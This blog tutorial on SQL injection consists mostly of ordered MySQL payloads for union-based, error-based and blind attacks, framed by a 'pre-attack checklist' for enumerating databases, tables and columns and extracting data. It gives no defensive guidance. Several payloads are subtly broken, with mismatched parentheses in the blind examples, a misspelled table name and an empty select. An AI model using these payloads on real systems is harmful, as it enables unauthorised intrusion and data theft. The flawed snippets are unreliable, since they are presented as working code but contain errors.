Web Hacking: SQL injection

HanHan
4 min read

Web Hacking: SQL injection

Definition

SQL injection is a technique where malicious SQL queries are inserted to attack a database system, allowing for data extraction, tampering, authentication bypass, and more.

Pre-Attack Checklist

SQL Injection Data Extraction Process

  • Deduction

    • Does the system perform identification and authentication together or separately?

    • What type of attack method is likely to work?

    • How will the query likely end? If it's a search query, '%search term%' is highly likely to be used.

  • Vulnerability Check

    • If a vulnerability is found, how far does it go?

    • If SQL injection is possible, is it a union-based, error-based, or blind attack?

  • Select SQL Query

    • Union SQL injection

    • Error-based SQL injection

    • Blind SQL injection

  • Identify Data Output Locations

  • Choose SQL Injection to Use

  • Obtain DB, Table, and Column Names

  • Extract Data

Types of SQL Injection

Union-Based SQL Injection

  • Used when results are displayed on the screen, such as on a bulletin board.

  • ex) general forum, bulletin board

  1. Deduce the end of the search query.

     3+4 
     # If only 7 is returned in the search, the SQL query will work. Additionally, you can determine whether the % sign was used depending on whether only 7 is returned or if 7 is included in the results.
    
  2. Check if SQL injection is possible.

     %' and '1%'='1 # true
     %' and '1%'='2 # false
    
  3. Determine how many columns are used in the search.

    Increase the column count from 1 to 4 and check.

     %' order by 1 and '1%'='1
    
  4. Check if union works and identify the data output location.

     %' union select '1','2','3','4' and '1%'='1
    
  5. Check the database name.

    MySQL

     %' union select '1',database(),'3','4' and '1%'='1
    
  6. Check the table name.

    MySQL

     %' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1
    
  7. Check column names.

    MySQL

     %' union select '1',column_name,'3','4' from information_schema.columns where table_name='table_name' and '1%'='1
    
  8. Extract data.

     %' union select '1',column_name,'3','4' from table_naem WHERE '1%' LIKE '1
    

Error-Based SQL Injection

  • Used when error messages can be checked.

  • Logical Error

  1. Verify that the error message is a DB error.

    Typically uses updatexml or extractvalue.

    A syntax error (logical error) is displayed due to the concat command ':test'.

     1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1
    
     1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1
    
  2. Set the base for the error message.

     1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1
    
  3. Check the database name.

    MySQL

     select database()
    
     1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
    
  4. Check the table name.

    MySQL

     select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1
    
     1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1
    
  5. Check column names.

    limit [starting point],[how many]

     select column_name from information_schema.columns where table_name='table_name' limit 0,1
    
     1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1
    
  6. Extract data.

     select column_name from table_name limit 0,1
    
     1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1
    

Blind SQL Injection

  • Used in places where DB results are not displayed on the screen.

  • Anywhere with a response that differs depending on a true or false condition can be used.

  1. Check if SQL injection is possible 1.-expected success

     %' and (1=1) and '1%'='1
    
  2. Check if SQL injection is possible 2.-expected fail

     %' and (1=2) and '1%'='1
    
  3. Check if the SQL injection select statement works.

     %' and (select 'test'='test') and '1%'='1
    
  4. Create an attack format.

     %' and (sql) and '1%'='1
    
  5. Check if ascii works.

     ascii('t')>0
    
     %' and (ascii('t')>0) and '1%'='1
    
  6. Check if substring works.

     ascii(substring('test',1,1))>0
    
     %' and (ascii(substring('test'),1,1)>0) and '1%'='1
    
    1. Create a second attack format.
    %' and (ascii(substring((sql),1,1))>0) and '1%'='1
  1. Retrieve the DB.
    select database()
    %' and (ascii(substring(select database()),1,1)>0) and '1%'='1
  1. Retrieve the table name.
    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 # retrieves only the first table name in the DB.
    SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 # retrieves only the second table name in the DB.
    %' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1
  1. Retrieve the column name.
    SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1
    %' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name' LIMIT 0,1),1,1)>0) and '1%'='1
  1. Extract data.
    select from limit 0,1
    %' and (ascii(substring(sql),1,1)>0) and '1%'='1
0
Subscribe to my newsletter

Read articles from Han directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Han
Han